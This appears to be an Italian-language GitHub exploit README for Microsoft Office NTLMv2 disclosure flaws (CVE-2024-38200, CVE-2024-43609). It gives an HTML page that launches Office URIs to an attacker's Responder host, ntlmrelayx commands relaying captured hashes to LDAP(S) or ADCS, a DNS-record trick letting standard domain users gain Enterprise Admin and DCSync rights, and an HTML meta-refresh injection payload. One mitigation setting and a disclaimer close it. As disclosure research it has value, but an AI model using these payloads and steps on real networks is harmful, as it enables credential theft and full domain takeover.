passtheticket/cve-2024-38200CVE-2024-38200 & CVE-2024-43609 - Microsoft Office NTLMv2 Disclosure Vulnerability
L'acquisizione dell'hash NTLMv2 tramite metodo HTTP non è stata corretta. Il valore dell'hash NTLMv2 può ancora essere ottenuto tramite HTTP e inoltrato a LDAP o ADCS. MSRC ha dichiarato questa situazione come "come presentato, sembra far parte del design attuale."
Anche se questa vulnerabilità viene corretta, come indicato nella sezione Autenticazione integrata di Windows, il valore dell'hash può ancora essere ottenuto e inoltrato con le impostazioni predefinite.
In precedenza, è stato condiviso un metodo per acquisire hash NTLMv2 tramite SMB utilizzando gli schemi URI di Office. L'idea principale era semplice. Inviare l'URL del file HTML sottostante alla vittima e acquisire l'hash NTLMv2 tramite SMB. LINK
<!DOCTYPE html>
<html>
<script>
location.href = 'ms-word:ofe|u|\\<indirizzo responder>\leak\leak.docx';
</script>
</html>
Questo è per me il punto di ispirazione. Se osserviamo la pagina Schemi URI di Office, possiamo notare l'uso del protocollo https:// all'interno dello schema URI. Questa situazione indica che anche http:// potrebbe potenzialmente essere utilizzato. Acquisire l'hash NTLMv2 tramite HTTP è più vantaggioso che tramite SMB per eseguire un attacco di NTLM Relaying contro un server Domain Controller Tabella di relay.
Quando ho utilizzato l'URI ms-word:ofe|u|http://test.local:8080/leak/leak.docx contro Office 2016 MSO (16.0.4266.1001) 32-bit, è apparso un avviso per proteggere l'utente da attività dannose, ma non posso dire lo stesso per Microsoft 365 Office e Office 2019. Queste versioni accedono a un file remoto di Office senza avviso e possono essere sfruttate per acquisire l'hash NTLMv2 tramite i protocolli SMB e HTTP.
Ho scoperto che la patch per CVE-2024-38200 non è stata applicata correttamente. Dopo la pubblicazione della patch, ho testato la vulnerabilità contro Office 2019 Volume Licensed: Versione 1808 (Build 10413.20020) e Microsoft 365 MSO 2408 Build 16.0.17928.20114 e ho determinato che la vulnerabilità può ancora essere sfruttata come mostrato di seguito CVE-2024-43609.
Possiamo reindirizzare una richiesta HTTP a un percorso UNC con reindirizzamento 302 quando un'applicazione Office effettua una richiesta tramite gli schemi URI di Office (es., ms-word:ofe|u|http://172.20.10.8:8080/leak.docx). Lo script uncredirect.py gestisce la richiesta HTTP inviata con uno schema URI di Office e la reindirizza a un percorso UNC che include l'indirizzo IP di Responder. Questa situazione renderebbe possibile acquisire l'hash NTLMv2 tramite SMB e bypassare la restrizione di sicurezza per l'URI ms-word:ofe|u|\\<indirizzo responder>\leak\leak.docx.
uncredirect.py e responder.office.html all'utente vittima.https://github.com/user-attachments/assets/2d2d19ad-6142-4b57-8958-16ba2cd62f04
Acquisire l'hash NTLMv2 tramite HTTP è più vantaggioso che tramite SMB per il relay su LDAP. Quando un file viene richiesto tramite un URI di Office, l'hash NTLMv2 può essere ottenuto tramite HTTP senza reindirizzare a un percorso UNC utilizzando un reindirizzamento 302. Questo metodo di sfruttamento non può essere eseguito su Internet perché, a meno che non vi sia una configurazione errata in Proprietà Internet, l'autenticazione NTLM non avverrà tramite HTTP per un host esterno alla rete aziendale.
Tuttavia, ritengo che questo sia un metodo efficace per attacchi di relay e escalation dei privilegi.
Le impostazioni di "Proprietà Internet" influenzano il comportamento di autenticazione NTLM delle applicazioni Office. Possiamo vederlo con alcuni esempi. Supponiamo di utilizzare il formato URI ms-excel:ofe|u|http://192.168.1.7/leak.xlsx per acquisire l'hash NTLMv2.
Quando uno dei GPO elencati di seguito viene applicato a una macchina vittima che fa parte del dominio, l'applicazione Office esegue automaticamente l'autenticazione.
Accesso automatico con nome utente e password correnti è impostato per Autenticazione utente in Zona InternetIntranet locale (es., 192.168.*.*, 192.168.0-255.*, 192.168.1.7)Siti attendibili (es., 192.168.*.*, 192.168.0-255.*, 192.168.1.7) e Accesso automatico con nome utente e password correnti è impostato per Autenticazione utente nella zona Siti attendibili
Nel caso in cui uno dei GPO sopra menzionati sia applicato, dopo che l'utente vittima fa clic sull'URI, il file leak.docx verrà recuperato dall'applicazione Office dal server dell'attaccante e l'hash NTLMv2 verrà ottenuto perché il GPO applicato fa sì che l'autenticazione NTLM avvenga automaticamente.
Esempio di scenario per abusare del GPO:
Dopo aver impostato l'URI di Office con l'indirizzo IP (es., ms-excel:ofe|u|http://192.168.1.7/leak.xlsx), possiamo inviare l'URL del file office.html a un utente con privilegi di amministratore di dominio e inoltrare l'hash acquisito al server LDAP(S) utilizzando ntlmrelayx. ntlmrelayx creerà un nuovo utente e lo aggiungerà al gruppo Enterprise Admins con un semplice clic sul pulsante "Apri".
Nota:
I siti aggiunti tramite GPO possono essere elencati utilizzando le seguenti chiavi di registro.
Get-ItemProperty "hkcu:\Software\policies\microsoft\windows\currentversion\internet settings\ZoneMapKey"
Get-ItemProperty "hklm:\Software\policies\microsoft\windows\currentversion\internet settings\ZoneMapKey"
0: Internet | 1: Intranet locale | 2: Siti attendibili | 3: Siti con restrizioni
Se nessuno dei GPO sopra menzionati è applicato, l'autenticazione NTLM non avverrà automaticamente. Tuttavia, se aggiungiamo un record DNS A e lo utilizziamo all'interno dell'URI di Office, Windows considererà il nome host come parte della zona Intranet. In questo modo, l'autenticazione NTLMv2 avviene automaticamente e un utente standard può escalare i privilegi senza bisogno di un GPO configurato male. Qualsiasi utente di dominio con privilegi standard può aggiungere un record DNS inesistente quindi questo attacco funziona con le impostazioni predefinite per un utente di dominio.
office.html può essere servito da qualsiasi server accessibile all'utente vittima (es., https://office.com/office.html). Ho impostato la porta 8081 per Apache perché ntlmrelayx utilizzerà la porta 80 per impostazione predefinita. Possiamo usare --http-port con ntlmrelayx come alternativa. Inserisci il record aggiunto nell'URI di Office all'interno del file office.html.
Avvia ntlmrelayx: python3 ntlmrelayx.py -t ldap://IP-DOMINIO- --escalate-user nomeutente
Invia l'URL del file office.html a un utente con privilegi di amministratore di dominio. Dovresti verificare che il record DNS sia risolto con il comando ping prima di inviare l'URL.
Quando l'utente vittima naviga all'URL, fare clic sul pulsante "Apri" è sufficiente per acquisire l'hash NTLMv2. (nessun avviso!)
L'hash NTLMv2 acquisito tramite HTTP viene inoltrato al Domain Controller con ntlmrelayx. Di conseguenza, un utente standard può ottenere permessi di DCSync e Enterprise Admins con le configurazioni predefinite con solo due clic.
https://github.com/user-attachments/assets/6fdbcd57-16aa-4497-810e-18e0a251e890
https://github.com/user-attachments/assets/22b759f5-1ac2-45bd-8916-714c8a84b40f
Nota-1: Se un server unito al dominio viene compromesso ed è possibile eseguire inveigh o ntlmrelayx, l'aggiunta di un record DNS non è necessaria.
Ntlmrelayx: python3 ntlmrelayx.py -t ldaps://IP-DOMINIO- --http-port 8080
Uri di Office: ms-excel:ofe|u|http://nomeservercompromesso:8080/leak.xlsx
Nota-2: Come alternativa, l'hash dell'utente vittima può essere inoltrato a ADCS invece che a LDAP:
python3 ntlmrelayx.py -t http://adcs.sicuro.local/certsrv/certfnsh.asp -smb2support --template User --adcs --http-port 80
Questa prova di concerto è stata condotta su Microsoft Office 2019 MSO Build 1808 (16.0.10411.20011) e Microsoft 365 MSO (Versione 2403 Build 16.0.17425.20176).
Chiunque abbia utilizzato Windows in un ambiente intranet aziendale potrebbe aver notato che l'accesso alle risorse aziendali in una rete è senza attriti e, in molti casi, non richiede una richiesta esplicita di credenziali oltre all'accesso iniziale al dominio Windows. Questo vale per diversi servizi, come le unità di rete mappate, i siti web intranet e altro ancora. I browser basati su Microsoft, Internet Explorer ed Edge, hanno un concetto di zone attendibili: Internet, Intranet locale, Siti attendibili e Siti con restrizioni. Ogni zona ha un diverso livello di sicurezza e restrizioni associate. Ad esempio, per i siti della zona Intranet, Internet Explorer disabilita il filtro XSS, esegue plug-in ActiveX, esegue log-in automatici e in generale ha meno controlli di sicurezza rispetto ai siti Internet. Per impostazione predefinita, quando un server web ha una risorsa protetta da autenticazione NTLM, Internet Explorer ed Edge eseguiranno l'autenticazione automaticamente se il sito web si trova all'interno dell'intranet aziendale o è nella whitelist dei Siti attendibili, rispettando il concetto di zone attendibili. Anche altri browser, come Mozilla Firefox e Google Chrome, supportano il log-on automatico NTLM. Chrome si basa sulle stesse impostazioni di Internet Explorer; nel caso di Firefox, questa configurazione non è abilitata per impostazione predefinita e deve essere modificata manualmente tramite about:config.
https://www.blazeinfosec.com/post/web-app-vulnerabilities-ntlm-hashes/
Affinché un host remoto possa autenticarsi a te, ad esempio come risultato di un percorso UNC, devono essere soddisfatte determinate condizioni. Principalmente, per ridurre al minimo la probabilità di perdita di hash verso reti esterne come Internet, il tuo sistema deve rientrare nella zona "intranet locale". Il modo più semplice per soddisfare questo requisito quando si ha già un punto d'appoggio nella rete interna del bersaglio è utilizzare il nome NetBIOS del tuo sistema. Cioè, se ti trovi su workstation1.contoso.com, dovresti usare workstation1 nel tuo percorso UNC per forzarlo nella zona intranet locale.
https://www.mdsec.co.uk/2021/02/farming-for-red-teams-harvesting-netntlm/
Come menzionato, le modifiche alle Proprietà Internet influenzano anche il comportamento di autenticazione NTLM dei browser Edge e Chrome. Questi browser supportano l'autenticazione NTLM automatica e Windows presume che una connessione HTTP con nome NetBIOS sia all'interno della zona intranet ed esegue l'autenticazione NTLM. In seguito ho realizzato che, come indicato nel PoC, se viene creato un record DNS e viene inviato un URL con nome NetBIOS (es., http://kali14/notexist.html ) a un utente, è possibile acquisire e inoltrare l'hash NTLMv2 dell'utente se l'URL viene navigato nei browser Edge o Chrome. Se inoltriamo l'hash NTLMv2 di un utente privilegiato a LDAP(s) con ntlmrelayx, possiamo escalare i privilegi nel dominio con le impostazioni predefinite.
Edge:
Chrome:
Invece di inviare il link all'utente, l'iniezione HTML può essere utilizzata per acquisire l'hash NTLMv2:
kali14<meta http-equiv="refresh" content="0; url=http://kali14/notexist.html">
Includi tutti i siti locali (intranet) non elencati in altre zone nelle impostazioni dei siti Intranet locali per bloccare l'autenticazione NTLM automatica tramite HTTP. L'opzione in questione è selezionata per impostazione predefinita. 
Nota: Questo exploit è fornito esclusivamente a scopo educativo e di ricerca. L'autore non è responsabile per qualsiasi uso improprio o danno causato dall'applicazione di questo exploit. L'uso non autorizzato di questo codice in ambienti in cui non si dispone di autorizzazione esplicita è illegale e non etico.